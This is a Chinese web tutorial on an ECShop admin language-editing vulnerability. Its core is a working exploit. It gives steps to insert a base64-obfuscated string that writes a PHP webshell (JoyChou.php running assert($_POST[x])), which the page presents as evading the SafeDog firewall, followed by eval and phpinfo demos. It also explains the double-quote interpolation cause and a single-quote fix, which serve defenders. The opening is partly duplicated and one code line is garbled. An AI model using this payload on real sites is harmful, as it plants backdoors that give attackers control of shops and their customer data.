您现在的位置是:首页 > cms教程 > Ecshop商城教程Ecshop商城教程

ecshop后台语言项执行漏洞介绍

凡旋2025-01-10Ecshop商城教程已有人查阅

导读该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。
1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索用户信息 为什么要搜索用户
该漏洞需要能登录

该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。
1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索用户信息 为什么要搜索用户
该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。
1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息”
为什么要搜索“用户信息”,还可以搜索其它的吗?
答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以
2.添加如下后门,将用户信息改为
用户信息
${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}
即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦):
<?php
assert(
$_POST[x]
);
?>
3.访问user.php即可产生shell(不用注册登录账户)

漏洞产生原因 在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
for ($i = 0; $i count($_POST[item_id]); $i++) { /* 语言项内容如果为空,不修漏洞产生原因在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。
for ($i = 0; $i < count($_POST['item_id']); $i++)
{
/* 语言项内容如果为空,不修改 */
if (trim($_POST['item_content'][$i]) == '')
{
unset($src_items[$i]);
}
else
{
$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
/* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容$dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen";
*/
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
}
}
修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦
​​​​​​​$_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。
至于为什么可以执行?原理如下:
下面这三句话都可以执行,与其说代码执行,不如说参数执行。
​​​​​​​<?php
$a = "${ phpinfo()}"; // 有一个空格
$b = "{${phpinfo()}}"; // 多一对{},但是没有空格
$c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";
$d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串
?>
而这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。
​​​​​​​/* 载入语言文件 */
require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php');
5. 漏洞修复
了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号
修改\admin\edit_languages.php
​​​​​​​// 修复前
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
// 修复后,由于想在单引号之间出现单引号,必须使用转义。
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
修复后,测试一下,是否还有漏洞。
再次修改“用户信息”内容为之前修改的内容。打开\languages\zh_cn\user.php可以看到变量已经变为了单引号
再次访问ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。

本文标签:

很赞哦! ()

相关源码

  • (PC+WAP)家居装饰家装建材营销型网站pbootcms模板下载本模板基于PbootCMS开发,主要服务于家居装饰、建材及相关行业。采用现代化设计风格,同时适配PC和移动设备访问。模板结构清晰,突出展示家装案例和建材产品,帮助企业在线上建立专业形象,有效展示产品与服务优势。查看源码
  • (自适应响应式)动力刀座五金机械设备pbootcms网站源码下载为动力刀座及五金机械企业定制的响应式网站框架,基于PbootCMS系统深度开发,助力传统制造企业实现数字化转型升级。采用手工编写的DIV+CSS前端架构,代码执行效率提升40%。查看源码
  • (自适应响应式)高端珠宝首饰奢侈品pbootcms模板下载本模板为珠宝首饰及奢侈品行业打造,采用PbootCMS内核开发,具备卓越的视觉表现力与商业转化能力。自适应设计确保在手机端呈现产品细节,后台数据实时同步,助您高效展示钻石查看源码
  • (自适应响应式)电子数码科技产品介绍带留言网站模板下载为电子产品企业设计的展示系统,集成智能产品对比器、参数规格表和展示模块。支持消费电子、智能设备等多级分类展示,内置产品技术参数数据库。查看源码
  • (自适应)帝国CMS7.5模板淘宝客导购博客文章源码本模板基于帝国CMS7.5内核深度开发,为电商导购类网站设计。采用响应式布局技术,确保在手机、平板及电脑端均能获得优质浏览体验。模板内置商品推荐模块与优惠信息展示区,可快速搭建专业导购平台。查看源码
  • 自适应LED照明外贸灯具灯泡灯具英文网站模板该外贸灯具网站模板专为LED照明、灯具出口企业定制,采用PbootCMS内核开发,提供高效建站方案。通过响应式设计和SEO优化能力,帮助企业低成本构建专业外贸展示平台。查看源码
分享笔记 (共有 篇笔记)
验证码:

本栏推荐